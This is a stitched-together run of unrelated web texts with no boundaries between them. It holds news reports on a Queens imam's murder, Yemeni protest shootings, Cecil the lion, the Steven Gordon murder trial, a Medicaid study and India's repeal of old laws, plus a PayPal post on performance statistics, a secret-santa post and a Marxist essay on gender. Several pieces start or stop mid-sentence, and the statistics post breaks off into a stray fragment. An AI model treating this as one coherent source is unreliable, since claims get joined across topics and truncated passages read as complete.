A TV spot for another Pokemon noodle cup!A 35-year-old Brooklyn man was officially charged with first-degree murder on Tuesday in connection with the shooting deaths of a Queens imam and his assistant over the weekend.
Oscar Morel is charged with one count of first-degree murder, two counts of second-degree murder and two counts of criminal possession of a weapon.
He was taken into custody late Sunday night, questioned and charged Monday.
Police say Morel is the man seen on surveillance video running away from the crime scene near 79th Street and Liberty Avenue in Ozone Park.
Imam Maulana Akonjee and his assistant, Thara Uddin, were shot in the back of the head at point blank range as they were leaving afternoon prayer.
"The motive right now has not been determined," said NYPD Chief of Detectives Robert Boyce. "We're still drilling down on it as we go forward. That's certainly on the table, a hate crime."
"I assured the members of the community that the NYPD would be out in force, protecting community institutions, protecting Muslim communities all over the city," said Mayor Bill de Blasio.
Police say after the murders, Morel was driving a black SUV that hit a cyclist about three miles away.This article is over 7 years old
Yemeni forces have opened fire on demonstrators in three major cities, killing at least 18 and wounding hundreds in one of the fiercest bouts of violence witnessed in nearly three months of popular unrest aimed at toppling President Ali Abdullah Saleh.
The clashes between a defected faction of Yemen's army and the republican guard, have raised fears that Yemen may be reaching a critical juncture as public fury continues to mount at the president's refusal to step down.
Violence broke out in the capital when a throng of 2,000 protesters tore away from the main sit-in area at Sana'a University and surged en masse towards the cabinet building in downtown Sana'a with shouts of "God is great" and "Allah rid us of this tyrant".
As they neared their destination they were halted by republican guards who, after trying to disperse them with tear gas and water cannons, began firing live rounds at the crowd.
Soldiers positioned on the balconies and roofs of nearby houses rained bullets down on the angry mob of protesters, who responded by hurling chunks of broken-off paving slabs.
The standoff, which lasted for around four hours, climaxed when soldiers loyal to a defected general, Major Ali Mohsin, arrived in pickup trucks and began returning fire at Saleh's troops.
It was the first time the two sides have clashed in the capital since Mohsin declared his support for the opposition in late March.
Local press reported that a lieutenant colonel, Yahya Muhammad al-Ansi, belonging to the rebel general's first armoured division, was killed in the clashes.
Women and children were amongst those caught up in the ensuing mayhem. Bushra Al-Surabi, a prominent female activist, apparently suffered from a bullet wound to the leg.
A doctor presiding over a bloodied corpse in the corner of a nearby mosque-turned-field-hospital said he counted nine other bodies and that hundreds of others were suffering from bullet wounds.
In the industrial city of Taiz, another centre of popular resistance, two teenage protesters were shot dead by snipers while trying to scale a government building.
Protesters retaliated by torching a police building and blockading a number of ministerial offices.
In the Red Sea port city of Hudaida, another protester was killed when security forces opened fire on marchers trying to occupy the city mayor's office, witnesses said.
With protests entering their consecutive third month and Saleh backing away from a Gulf-brokered initiative which would see him exchange power for immunity, Yemen's youthful protesters have began tightening the bolts on their embattled president.
In the past days the country has been brought to a standstill by nationwide strikes as well as blockades of roads and ports. A planned march on the presidential palace is expected on Friday.
"Yemen is at a dangerous juncture," says Gregory Johnsen, a Yemen analyst from Princeton University.
"Every attempt at mediation, including a recently flawed approach by the GCC [Gulf Co-operation Council], has failed, as Saleh stalls and equivocates on public pledges, hoping to somehow survive in power."
The shootings suggest that Saleh may have given the army the green light to fire on protesters.
"Yemeni Oil-Free blood is apparently invisible to the International Community," said Ibrahim Mothana, a protest leader at Change square. "When will the west condemn this?"
Analysts fear that failure to address Yemen's swelling unrest, particularly its rising unemployment, may benefit al-Qaida in the Arabian Peninsula– an organisation which is already capitalising on lapsed security and an increasingly stretched army.
"The last time al-Qaeda had this much time and space in which to operate, it put together the 2009 Christmas Day attack, which narrowly missed bringing down an airliner over Detroit," said Johnsen.Hwange - A well-known and much-photographed black-maned lion affectionately named Cecil was killed by sport hunters just outside Hwange in Zimbabwe last week.
Wildlife enthusiasts say Cecil, possibly Hwanges’s largest lion, was a favourite among visitors to Zimbabwe’s premier national park as he was extremely relaxed around safari vehicles.
Cecil was wearing a collar when shot with bow and arrow by a Spanish hunter in the Gwaai concession that borders the park.
Alledgely, Cecil did not die immediately and it took a further two days to track him and kill him with a rifle.
The lion was skinned and his head removed as a trophy. There may have been an attempt to destroy the collar and hide it but it was later found.
Apparently there is no permitted quota to shoot lions in the Gwaai area but Zimbabwean hunters posting in online forums have insisted the hunt was legal.
The Zimbabwe Professional Hunters and Guides Association (ZPHGA) said in its statement late Monday confirming that the professional hunter, Theo Bronkhorst, accompanying the Spanish client was one of its members.
Legal or not, the death of Cecil, who has been a favourite icon in the area for over thirteen years, has caused deep concern among many conservationists about the practice of lion trophy hunting.
In a press release, Beks Ndlovo, CEO of the African Bush Camps group of companies, stated: “In my personal capacity.
I strongly object and vehemently disagree with the legalising and practice of hunting lions in any given area. I will personally be encouraging Zimbabwe National Parks and engaging with Government Officials to stop the killing of lions and with immediate effect.”
Bryan Orford a regular visitor to Hwange and who has filmed Cecil on numerous occasions says Cecil was Hwange’s “biggest tourist attraction. Not only a natural loss, but a financial loss.”
Orford reckons that with tourists from just one lodge collectively paying $9 800/day, Zimbabwe would have earned more in just 5 days by having Cecil’s photograph taken, than being shot by someone paying a single one-off fee of $45 000 with no hope of future revenue.
A full investigation by the Zimbabwe National Parks and Wildlife Authority and the safari industry at large has been initiated and a meeting has been called for all stakeholders to discuss the incident and find a resolution.
This article was distributed by the Conservation Action Trust and is used with their permission.Software development begins as a quest for capability, doing what could not be done before. Once that what is achieved, the engineer is left with the how. In enterprise software, the most frequently asked questions are, “How fast?” and more importantly, “How reliable?”
Questions about software performance cannot be answered, or even appropriately articulated, without statistics.
Yet most developers can’t tell you much about statistics. Much like math, statistics simply don’t come up for typical projects. Between coding the new and maintaining the old, who has the time?
Engineers must make the time. I understand fifteen minutes can seem like a big commitment these days, so maybe bookmark it. Insistent TLDR seekers can head for our instrumentation section or straight to the summary.
For the dedicated few, class is in session. It’s time to broach the topic, learn what works, and take the guesswork out of software. A few core practices go a long way in generating meaningful systems analysis. And a few common mistakes set projects way back. This guide aims to lighten software maintenance and speed up future development through answers made possible by the right kinds of applied statistics.
To begin, let’s consider a target component we want to measure and improve. At PayPal this is often one of our hundreds of HTTP server applications. If you were to look at our internal frameworks, you would find hundreds of code paths instrumented to generate streams of measurements: function execution times, service latencies, request lengths, and response codes, to name a few.
We discuss more about instrumentation below, but for now we assume these measurement points exist and focus on numerical measurements like execution times.
The correct starting point minimizes bias. We assume the least, treating our measurements as values of random variables. So opens the door to the wide world of descriptive statistics, a whole area devoted to describing the behavior of randomness. While this may sound obvious, remember that much of statistics is inferential, dedicated to modeling future outcomes. They may go hand-in-hand, but knowing the difference and proper names drastically speeds up future research. Lesson #1 is that it pays to learn the right statistics terminology.
Measurement is all about balance. Too little data and you might as well have not bothered. Or worse, you make an uninformed decision that takes your service down with it. Then again, too much data can take down a service. And even if you keep an eye on memory consumption, you need to consider the resources required to manage excess data. “Big data” looms large, but it is not a necessary step toward understanding big systems. We want dense, balanced data.
So what tools does the engineer have for balanced measurement? When it comes to metadata, there is never a shortage of volume, dimensions, or techniques. To avoid getting lost, we focus on descriptive summary statistics that can be collected with minimal overhead. With that direction, let’s start out by covering some familiar territory.
Statistical moments may not sound familiar, but virtually everyone uses them, including you. By age 10, most students can compute an average, otherwise known as the arithmetic mean. Our everyday mean is known to statisticians as the first moment. The mean is nice to calculate and can be quite enlightening, but there’s a reason this post doesn’t end here.
The mean is just the most famous of four commonly used moments. These moments are used to create a progression that adds up to a standard data description:
Mean – The central tendency of the data Variance – The looseness of the grouping around the mean Skewness – The symmetry or bias toward one end of the scale Kurtosis – The amount of data in “the wings” of the set
These four standardized moments represent the most widely-applied metrics for describing the shape of a distribution. Each successive measure adds less practical information than the last, so skewness and kurtosis are often omitted. And while many are just hearing about these measures for the first time, omission may not be a bad thing.
The mean, variance, skewness, and kurtosis are almost never the right tools for a performance-minded engineer. Moment-based measures are not trustworthy messengers of the critical engineering metadata we seek.
Moment-based measures are not robust. Non-robust statistics simultaneously:
Bend to skew by outliers
Dilute the meaning of those outliers
An outlier is any data point distant from the rest of the distribution. “Outlier” may sound remote and improbable, but they are everywhere, making moment-based statistics uninformative and even dangerous. Outliers often represent the most critical data for a troubleshooting engineer.
So why do so many still use moments for software? The short answer, if you’ll pardon the pun: momentum. The mean and variance have two advantages: easy implementation and broad usage. In reality, that familiarity leads to damaging assumptions that ignore specifics like outliers. For software performance, the mean and variance are useful only in the context of robust statistical measures.
So, enough buildup. Lesson #2 is avoid relying solely on non-robust statistics like the mean to describe your data. Now, what robust techniques can we actually rely on?
If you’ve ever looked at census data or gotten standardized test results, you’re already familiar with quantiles. Quantiles are points that subdivide a dataset’s range into equal parts. Most often, we speak of quartiles (4 parts) and percentiles (100 parts). Measures of central tendency tend to be the most popular, and the same goes for the 50th percentile, the median.
While experienced engineers are happier to see the median than the mean, the data doesn’t really get interesting until we get into the extremes. For software performance and reliability, that means the 95th, 98th, 99th, and 99.9th percentiles. We call these the extremes, but as in high-traffic systems, they are far from uncommon. We also look for the range formed by the minimum and maximum values, sometimes called the 0th and 100th percentiles.
The challenge with quantiles and ranges is efficient computation. For instance, the traditional way to calculate the median is to choose the middle value, or the average of the two middle values, from a sorted set of all the data. Considering all the data at once is the only way to calculate exact quantiles.
Keeping all our data in memory would be prohibitively expensive for our use cases. Instead, using the principle of “good enough”, an engineer has ways of estimating quantiles much more efficiently. Statistics is founded on utilitarian compromise.
As a field, statistics formed to tackle the logistical issue of approximating an unreachable population. Even today, it’s still not possible to poll every person, taste every apple, or drive every car. So statistics continues to provide.
In the realm of software performance, data collection is automatable, to the point of making measurement too automatic. The problem becomes collation, indexing, and storage. Hard problems, replete with hard-working people.
Here we’re trying to make things easier. We want to avoid those hard problems. The easiest way to avoid too much data is to throw data away. Discarded data may not need storage, but if you’re not careful, it will live on, haunting data in the form of biases. We want pristine, meaningful data, indistinguishable from the population, just a whole lot smaller. So statistics provides us random sampling.
The twist is that we want to sample from an unknown population, considering only one data point at a time. This use case calls for a special corner of computer science: online algorithms, a subclass of streaming algorithms. “Online” implies only individual points are considered in a single pass. “Streaming” implies the program can only consider a subset of the data at a time, but can work in batches or run multiple passes. Fortunately, Donald Knuth helped popularize an elegant approach that enables random sampling over a stream: Reservoir sampling. Let’s jump right in.
First we designate a counter, which will be incremented for every data point seen. The reservoir is generally a list or array of predefined size. Now we can begin adding data. Until we encounter size elements, elements are added directly to reservoir. Once reservoir is full, incoming data points have a size / counter chance to replace an existing sample point. We never look at the value of a data point and the random chance is guaranteed by definition. This way reservoir is always representative of the dataset as a whole, and is just as likely to have a data point from the beginning as it is from the end. All this, with bounded memory requirements, and very little computation. See the instrumentation section below for links to Python implementations.
In simpler terms, the reservoir progressively renders a scaled-down version of the data, like a fixed-size thumbnail. Reservoir sampling’s ability to handle populations of unknown size fits perfectly with tracking response latency and other metrics of a long-lived server process.
Once you have a reservoir, what are the natural next steps? At PayPal, our standard procedure looks like:
Look at the min, max, and other quantiles of interest (generally median, 95th, 99th, 99.9th percentiles). Visualize the CDF and histogram to get a sense for the shape of the data, usually by loading the data in a Jupyter notebook and using Pandas, matplotlib, and occasionally bokeh.
And that’s it really. Beyond this we are usually adding more dimensions, like comparisons over time or between datacenters. Having the range, quantiles, and sampled view of the data really eliminates so much guesswork that we end up saving time. Tighten a timeout, implement a retry, test, and deploy. Maybe add higher-level acceptance criteria like an Apdex score. Regardless of the performance problem, we know when we’ve fixed it and we have the right numbers and charts to back us up.
Reservoir sampling does have its shortcomings. In particular, like an image thumbnail, accuracy is only as good as the resolution configured. In some cases, the data near the edges gets a bit blocky. Good implementations of reservoir sampling will already track the maximum and minimum values, but for engineers interested in the edges, we recommend keeping an increased set of the exact outliers. For example, for critical paths, we sometimes explicitly track the n highest response times observed in the last hour.
Depending on your runtime environment, resources may come at a premium. Reservoir sampling requires very little processing power, provided you have an efficient PRNG. Even your Arduino has one of those. But memory costs can pile up. Generally speaking, accuracy scales with the square root of size. Twice as much accuracy will cost you four times as much memory, so there are diminishing returns.
At PayPal, the typical reservoir is allocated 16,384 floating point slots, for a total of 64 kilobytes. At this rate, humans run out of memory before the servers do. Tracking 500 variables only takes 8 megabytes. As a developer, remembering what they all are is a different story.
Usually, reservoirs get us what we want and we can get on with non-statistical development. But sometimes, the situation calls for a more tailored approach.
At various points at PayPal, we’ve worked with q-digests, biased quantile estimators, and plenty of other advanced algorithms for handling performance data. After a lot of experimentation, two approaches remain our go-tos, both of which are much simpler than one might presume.
The first approach, histogram counters, establishes ranges of interest, called bins or buckets, based on statistics gathered from a particular reservoir. While reservoir counting is data agnostic, looking only at a random value to decide where to put the data, bucketed counting looks at the value, finds the bucket whose range includes that value, and increments the bucket’s associated counter. The value itself is not stored. The code is simple, and the memory consumption is even lower, but the key advantage is the execution speed. Bucketed counting |
, will be very familiar with.My first time on secret santa, and I was pretty excited about the whole thing. My secret santa contacted me almost immediately after the matching and asked for my height. In the message he sounded like a nice guy and that got me even more excited! So last wednesday I finally received a big envelope from the Philippines (how cool is that?)!
Inside I found a nicely written letter in which my Secret Santa explained that he is a glovemaker and that this tradition was passed on to him by his father. So he sent me a pair of awesome selfmade leather gloves made of african lambskin and chinese cashmere! They not only look totally bad ass, they also feel really comfortable and warm! He also put a few postcards into the envelope that show the beautiful philippean landscape!
I was just positively surprised to receive such a nice gift. I mean, selfmade leather gloves from the beautiful and faraway Philippines? That's pretty unique! :)
So thanks again to my awesome Secret Santa ;DAt least three of the murders were carried out while the 47-year-old was wearing a GPS bracelet
A serial sex offender has been found guilty of killing four women — crimes that were mostly committed while he was being tracked by GPS and that now make him eligible for a death sentence.
Victims’ relatives clutched hands in the Orange County courtroom and closed their eyes while the guilty verdicts against Steven Dean Gordon were read. Some trembled and some cried.
“I can’t say it’s justice but it’s peace. It’s a little bit of peace,” Jodi Estepp, the mother of 21-year-old victim Jarrae Estepp, told Associated Press outside the courtroom.
California police linked murder suspects to killings via GPS trackers Read more
Gordon, who partly blamed his actions on probation officers for failing to keep track of his movements, showed no emotion in court. He also told police he had killed a fifth, unidentified woman.
Jurors also found Gordon guilty of special circumstances of murder during a kidnapping and multiple murders, which will make him eligible for a death sentence.
A penalty phase will begin on Monday when jurors will decide whether to recommend a death sentence or life in prison without parole.
Authorities said Gordon, 47, and 30-year-old sex offender Franc Cano, who is being tried separately, abducted and killed four women. Prosecutors charged both men with rape but later dropped the rape charges against Gordon without explanation.
Investigators said they pieced together the case after Estepp’s body was found on a conveyor belt at a recycling center in Anaheim in March 2014.
Facebook Twitter Pinterest Yolanda Linder, left, and Jodi Estepp, aunt and mother of Jarrae Estepp, one of four murder victims of Steven Gordon outside Orange county court on Thursday. Photograph: Sam Gangwer/AP
Authorities said the men’s tracking devices linked them to the disappearance of the other three women in Santa Ana in October 2013 — Kianna Jackson, 20, Josephine Monique Vargas, 34 and Martha Anaya, 28. Their bodies have never been found. All four women had links to prostitution.
Jodi Estepp said that she felt her daughter’s death was not in vain because her body led to the men’s capture.
“I just wish they would have let her go,” she said. “It’s difficult to say, very difficult to say... but their killing her got closure for those other families – and they can’t kill again.”
Gordon, who represented himself at the trial, confessed to authorities in an interview played for jurors about his role in the killings.
Gordon and Cano were registered sex offenders after being convicted in separate cases of lewd and lascivious acts with a child under 14. Gordon was convicted in 1992 and also had a 2002 kidnapping conviction, while Cano’s conviction dates back to 2008.
At the time of the killings – which took place between October 2013 and March 2014 – Gordon was living in an RV in an industrial area of Anaheim where the men brought their victims. He wore a GPS device during at least three of the murders, according to grand jury testimony.
In addition to Estepp’s murder, the authorities charged the men with killing three women Police believe Cano and Gordon had known each other since at least 2010, when Cano cut off his GPS device and fled to Alabama, where he was arrested with Gordon. Two years later, they again cut off their monitoring devices and boarded a Greyhound bus to Las Vegas using fake names before being arrested two weeks later by federal agents.
Cano has pleaded not guilty. His next court appearance was set for 29 December.Docs and nurses at patient bedside via Shutterstock
Thousands of Americans will die as a result of red state governors’ refusal to expand Medicaid and extend health coverage to their states’ neediest citizens, according to a study by researchers at Harvard University and the City University of New York.
Talking Points Memo reported that as many as 17,000 people will die because they cannot afford to access health care.
President Barack Obama’s Affordable Care Act (ACA) — also known as “Obamacare” — attempted to reform the nation’s health care system by increasing access to affordable health insurance plans, improving the plans that are available, and by making federal funds available to states to improve and expand their Medicare system, which offers free health care to low-income adults.
Republican governors and state legislatures in 23 states have refused the supplemental funds out of political motivations, but the study authors say that this act of political sabotage will have deadly consequences.
“The results were sobering,” said study author Samuel Dickman to Pennsylvania newspaper The Morning Call. “Political decisions have consequences, some of them lethal.”
The study found that a projected 423,000 diabetics will not be able to adequately manage their disease. Some 659,000 women will not receive mammograms and 3.1 million will not get necessary gynecological checkups like pap smears.
The lack of early intervention and preventative care means that patients will only seek medical help when they reach the acute phase of illness, when treatment options are fewer and negative outcomes more likely.
“Low-income adults in states that have opted out of Medicaid expansion will forego gains in access to care, financial well-being, physical and mental health, and longevity that would be expected with expanded Medicaid coverage,” said the study.
The Kaiser Family Foundation reported that 25 states and the District of Columbia are expanding their Medicaid programs and 23 states are not. Pennsylvania and Indiana plan to expand Medicaid in 2014, but their plans have not been finalized.
[image of doctors and nurses at patient bedside via Shutterstock.com]Under the Indian Motor Vehicles Act 1914, an inspector in Andhra Pradesh must have well-brushed teeth, and will be disqualified if he has a pigeon chest, knock knees, flatfeet and hammer toes.
This is one among a tangle of bizarre, archaic laws, which survived for years like a relic in a museum but with no relevance in modern India.
Many of these rules put up obstacles to running smooth administration and ease to do business. The Narendra Modi government had made it clear at its inception that it was time for these dinosaurs to go extinct.
Among the myriad laws in India, there are those that made strange demands. A century-old one said the toll tax for boats ferrying passengers across the river Ganga cannot be more than two annas - a denomination not in use any more.
According to another one, policemen in some states have to ensure that air-dropped pamphlets do not fall in their areas. This was aimed to foil the propaganda campaign during World War II.
A 200-year-old law allowed the British monarch to review decisions of all Indian courts. But these Acts are now history.
OLD LAWS SWIFTLY SCRAPPED
The Modi government is creating a record of sorts in scrapping these old, redundant and archaic laws from statute books.
While successive governments could remove just 1,301 obsolete laws which came in the way of smooth administration and economic growth in 65 years, the present central government has managed to weed out as many as 1,200 Acts in just three years. As many as 1,824 more obsolete central Acts have been identified for repeal.
The Opposition-dominated Upper House too played its part when it passed the bills concerning repeal of 1,159 central laws. The Rajya Sabha passed four such bills.
"The Modi government is determined to relegate several archaic Acts to history. Laws need to be consonant with the times. 1,200 redundant Acts have been scrapped. 1,824 more have been identified for repeal," said law minister Ravi Shankar Prasad.
Before this, under the Indian Aircraft Act, 1934, kites were also aircraft and you needed to obtain a permit as required for an aeroplane.
Under the Indian Treasure Trove Act, 1878 you could have been jailed if you found anything worth more than Rs 10 and did not report it to a revenue officer.
POLL PROMISE
During the 2014 election campaign, Modi promised that if the BJP came to power, for every law passed, his government would repeal 10 obsolete ones.
Laws on licence to kill and capture of wild elephants in certain circumstances, segregation and medical treatment of lepers, regulating the grant of titles to qualified persons in western medical science and prohibition of pledging of labour of children (child slavery) are among those abolished.
Also have been dumped some archaic rules regulating recruitment of foreigners during pre-Independence period, agreement with Pakistan on exchange of prisoners, continuation of use of courts in Bengal, Assam and Punjab for those who migrated to Pakistan and power to regulate prices of newspapers. There were many more laws in the statute books which had been of no use as provisions of most of the old Acts had already been incorporated in new legislation.
But time is running out for such laws. The government had formed a committee headed by R Ramanujam, secretary to the prime minister's office, to re-examine all Acts recommended to be repealed by the earlier committee on Review of Administrative Laws set up by the Atal Bihari Vajpayee government in 1998.
After taking the help of the Law Commission, the panel is submitting periodic reports.
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Gilles Dauvé examines woman/sex/gender question, and what it has become in the capitalist mode of production.
If, as Marx wrote in 1844, taking a cue from Fourier, the relationship between the sexes enables us to judge humankind's “whole level of development”, with this relationship we can also judge the level of development of the revolutionary movement. According to this criterion, past insurrections have done rather poorly, as they have usually let masculine domination prevail.
When faced with this undisputable fact, most radical thought rarely rises up to the challenge.
In the past, anarchism did not treat this issue as a specific one: emancipating the human species would emancipate women as well as men. Lately, since the 1970s and the growth of a feminist movement, many anarchist groups have come to regard women as an important (and long overlooked) oppressed category which must be added to the list of major potentially revolutionary categories.
As for the Marxists, they often start with the perfectly valid assumption that the “woman question” part can only be solved via the “proletarian” whole, and with the equally valid necessity of differentiating between bourgeois women and proletarian women, but they end up dissolving the woman question in the class question. The trouble is, without this part, the whole does not exist.
Unlike most anarchists and Marxists, we think women’s emancipation is not a mere consequence of general human emancipation: it is one of its indispensable key components.
The “sex question” is one of the quandaries that have been hanging over radical thought for over a century. As we only wish to suggest a theoretical framework, quite a few aspects will be left out. Among other things, we will not enquire into the origins nor the past of man/woman relationships, only into what they have become in the capitalist mode of production, and we will focus on their most “modern” forms.
Though capitalism is certainly not the cause of women’s subordination, which predates it by millennia, today it is the capitalist system that perpetuates this subjection, which can therefore only be addressed and fought in its capitalist form, i.e. as it is reproduced by wage-labour and private property.
As will be clear from this essay, we do not regard the relation between the sexes as the engine of history, neither do we think the “woman question” could bring the long-awaited revelation, the missing piece of the theoretical (and practical) revolutionary puzzle.
“Reproduction” has become a catch-all word that mixes the reproduction of the natural living conditions on Earth and of the human species, the birth and care of children, capital’s reproduction through its cycles, the reproduction of the capital/wage labour relation, hence the whole reproduction of society.
Actually, the man/woman relation is indeed part of that social reproduction, but the point is to understand the linkage between the social division of labour and the sexual division of society.
Having children is a lot more than giving birth and raising kids. Though not all capitalists are “inheritors”, when a child is born in a bourgeois family, his or her parents cannot fail to think about the passing on of the family assets. The bourgeois are quite aware of the imperative to transmit their fortune, to safeguard their personal and collective interests, and to perpetuate themselves as a class.
Like all societies, capitalist society must master its reproduction, and in its case that means maintaining one of its fundamentals: private property.
In our society, the pivotal role of private property goes far beyond the obvious fact that most people own at least a little something. The bourgeois are the proprietors of the essential (the means of production, i.e. the means of livelihood of the immense majority), and there is an ocean of difference between being a 5% Toyota shareholder and owning a flat where one lives (out of 10 homes in the UK, 7 are owner-occupied). A better word for that difference is class. Only class analysis explains who holds the real reins of power. And class division reproduces itself. Of course, from one generation to the next, all bourgeois children do not become bourgeois themselves, but the bourgeois class carries on as a meaningful structure, particularly via the family. We do not live in an atomized world of individual bourgeois and proletarians born out of nowhere who do not care about what will happen after their death. Only an eccentric self-made entrepreneur living as a recluse shows no interest in the future of his (or her) capital when s/he is gone.
However, family is not just the institution through which the wealthy pass down their property. A society where the upkeep and care of children would be completely managed by public authorities is still pure science-fiction. Therefore, for proletarians as well as for bourgeois, the family offers a living place providing a modicum of support and solidarity, often extended far beyond teenage years.
Though the stable married “man + woman” model is on the wane, the family institution soldiers on, in all classes, even more so in times of crisis when it provides the deprived with a protection they would rarely find elsewhere. The deeper social crisis goes, the more people ask from family bonds, the more contradictions the family has to bear, and yet the more indispensable it is. No wonder it remains a hot bed of love-hate behaviour.
A family is not a couple. As soon as parent and child live together, we can speak of a family, albeit in different forms from the past, for example the single parent household (where 27% of US children live) and the blended or stepfamily (nearly one third of US households). More and more homosexual couples are now living with children (according to US census, over 15% of same-sex couples). Words say it all: vocabulary is moving from conjugal status to conjugality, and from parent to parenting (“parents” originally meant those who beget and give birth): the abstraction of the terms signifies the impossibility of reducing the contemporary family to a fixed model. “Parent” is no longer synonymous with biological mother and father: it refers to whoever plays a parental role.
However far-reaching this shape-shifting is, the 21st century family loses the appearance and mind-set of the traditional family while keeping its function, and it is only natural that it should claim its concerns and practices. With or without children, and even more so if it is bringing up a child, a same-sex married couple has to deal with the safeguarding and transmission of its assets: it acts as a family, i.e. a place where private property is maintained and passed on. One of the most striking historical facts is the resilience of the family unit, its ability to stand the test of time by absorbing most of its dissolving factors.
If the family plays such a pivotal part, the nagging question is why it comes along with the subjugation of women.
One of the main causes is because capitalism is the primacy of production. To avoid any misunderstandings, let’s be clear about what we mean by that. Any society is based on the (re)production of its conditions of life. Yet capitalism is the rule of the imperative to produce, not for production’s sake, but for producing ever more value. If this system manufactures (and destroys) so much, it is not to stockpile objects, but to beget and accumulate value. Therefore it is bound to treat any material thing or living being as a potential instrument of production.
As far as women are concerned, this entails a different and inferior status compared to men’s.
It is a biological fact that only women have the ability to carry a child within their bodies, deliver him or her, breastfeed him or her: a society where everybody first exists as a means of production cannot fail to specialise women in this forced role which becomes a constraint.
Despite thousands of exceptions, and to very varying degrees, even today, a woman is considered as destined to be a mother and, though no longer corralled into a breed-and-feed existence, she is still encouraged to spend a lot more time than men in the domestic sphere. This can also be found among social milieus with a minority sexual orientation: a lesbian will not be equal to a gay. The most open-minded parents and relatives do not expect the same from a daughter and a son. Even in progressive circles, a lot of women are openly or insidiously submitted to social pressure, explicit or unsaid, to have children, and life as a couple (married or unmarried) encourages motherhood.
A society ruled by work tends to prioritise human beings according to their position in the work world, in production, viz. in the production that “counts”, in both senses of the word: it is both counted up and socially privileged: it produces value by work, by wage-labour.
Like production is the previous paragraph, work calls for clarification. By “work”, we do not mean the fact of acting on something to transform it: working in the garden, working on a score at the piano in the living room, working out, wood-working for pleasure, etc. Neither do we define work by the fact that it is done under constraint. Wage-labour certainly is the opposite of a free activity: we work because we are forced to earn money as a means of living, and every hour spent on the shop-floor, at the wheel of a lorry or in the office takes place under the control of a boss. But this submission serves a purpose: it ensures that our labour contributes to capital’s growth, that it produces value, that it valorises the company.
As it happens, in the working world, man and woman do not stand in the same position.
As soon as there exists a social difference between two groups, between those who work and those who organise work (even if they sometimes work too), women find themselves in the particular place of auxiliary or in any case non-permanent workers, because of pregnancy and breastfeeding periods. However short this “off-work” moment can be, it creates a difference. The woman’s child-reproductive function forces her to regularly interrupt the part she plays in the overall reproduction of society. While work (exploitation) is central to society, women’s place in it is necessarily a secondary one. Though on the whole women work a lot, it is left for men to take a prevailing part in organisation and command, and such tasks can only be carried out full time. Therefore men take up a larger share of social wealth, and a privileged role in political, cultural and religious life. Whether they are exploiters or exploited, men permanently partake of the exploitation relation: whether exploiters or exploited, women do not. Even in Sweden, where the female employment rate is the highest in the world, most women work part- time, especially in the public and health sectors. It is not motherhood as such that gives women an inferior status, it is the part played by motherhood in a society ruled by work.
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As a conclusion to these last two paragraphs, the best hypothesis is that women’s subordinate position is linked to social reproduction and the family: their inferiority is not caused by the family, but this is where it is embedded. Despite medically assisted procreation and surrogacy, kids are still born and reared in families which remain the main locus of the formation of sex roles and female subordination.
The sexual division of society is part of the social division of labour, which does not mean that the former is a mere reflection, a side-effect of the latter.
Patriarchy is another term for father-family, when family coincided with the most common basic economic unit, and women and children worked under the supervision of a husband and father. Patriarchy is the rule of the heads of the household.
Patriarchy and property long went together. Filiation and wealth transmission were indissolubly bound up: the pater familias had to be sure his heir was his son.
Patriarchy is far from over. It is still aggressively present even in the heart of allegedly advanced countries. In Brussels as in Milan, women are put down in many ways, mocked, belittled, infantilised and patronised in established culture.
Patriarchy, however, is not indispensable to capitalism.
Capitalism’s novelty regarding the allocation of roles between man and woman is not the fact that women work. They did before, in vegetable gardens, on farms, in shops or in the market square, but always in connection with the family home. Now with wage-labour they work outside the home. Most female labour is not managed by a husband, but by a boss (sometimes a female boss).
Under capitalism, while man/woman relations no longer directly organise production, they still play a part in the division of labour. Capitalism maintains sexual hierarchy and oppression, but promotes them in its own particular way.
Male dominance is a misleading term if it makes us believe that today women’s subordination is due to male individuals. Men now act as conduits, and not the major ones. Control over women has ceased to be exercised above all by fathers and by husbands: male individuals come under collective supervision. When dealt with by medical and social services, women are cared for (“for their own good”) by a staff which is as feminine as masculine. Needless to say, after her shift, the woman doctor or social worker will be subjected at home or in the street to social constraints and restraints not unlike those she was exerting on other women a couple of hours before.
“Biomedical power” applies to all, but a lot more to women, who are medically monitored from their teens, whether or not they have kids, by a gynaecologist, an obstetrician, midwives, a paediatrician for post-natal visits, then again a gynaecologist.
Such soft tutelage is quite different from Big Brother’s brainwashing and torture. Welfare, Social Security and the social State compose an array of institutions which do help and protect women. Contrary to what happened in the past, public authority theoretically and sometimes really protects women against their male partners. The State does not prevent domestic violence and brutality, but it regulates them, which sets certain limits. It intrudes on the couple’s intimacy and codifies what is proper and improper behaviour, for instance by criminalizing marital rape (as well as child ill-treatment). We cannot be nostalgic for a time when sexual abuse was standard practice. But protecting women is also testimony to their subjugation: the Law provides assistance to supposedly weak beings incapable of defending themselves. And women are granted protection in exchange for their acceptance of a specific role, a mother’s role.
We are moving from women’s age-old direct and personal submission to a husband, to an indirect dependency, a guardianship hardly perceived as restrictive because it is impersonal, anonymous and diffuse. In the past, women had little choice but to give birth to 4 or 7 kids: now they choose to have 1.58 (average fertility rate in the European Union, 2014).
Can we conceive of a capitalism which would reform itself so deeply as to keep the family, yet do away with woman’s inferior status within the family structure?
Common wisdom suggests that this egalitarian utopia is already on the way. We are shown serene middle class people living in a safe Stockholm neighbourhood, the adults doing collaborative creative jobs for LGBT-friendly companies or NGOs, the father opting for parental leave, the parents calling their children by gender-neutral pronouns to avoid sexed stereotypes, socialising with friends of similar background and behaviour, and of course equally sharing child care and household duties. The ideal couple, one might say… as long as it manages to remain cut off from the outside world… and from the other classes.
Is this science-fiction? Not entirely. There is no denying an evolution towards greater sex equality in the family, and a growing trend toward a fair distribution of tasks and decisions between partners.
In as much as it exists – within the limits of certain countries, certain milieus and probably not extendable to all 900.000 Stockholm residents – that lodestar family will not counterbalance the weight of class realities. Since on the whole women get paid lower wages (and have a lower social status) because of maternity, the woman at the bottom end of the scale will suffer more from this disparity than the mother from a privileged background. The woman lawyer or head of department can cast the hard or boring house chores off to another woman. Men and women may be equal before the law, but money pays for equality, not all women are equal before money, and the Swedish Ministry for Integration & Gender Equality cannot do much about it. Pronouns are easier to change than class differences. If the subordination of women remains more visible and stronger in working class homes, it is not caused by the persistence of sexist minds and habits among uneducated loutish “reactionary” proles, but by the conditions forced on to those who live just above the breadline. Enlightenment comes easier with money in the bank and a better social position and image.
Democratic domesticity is not round the corner.
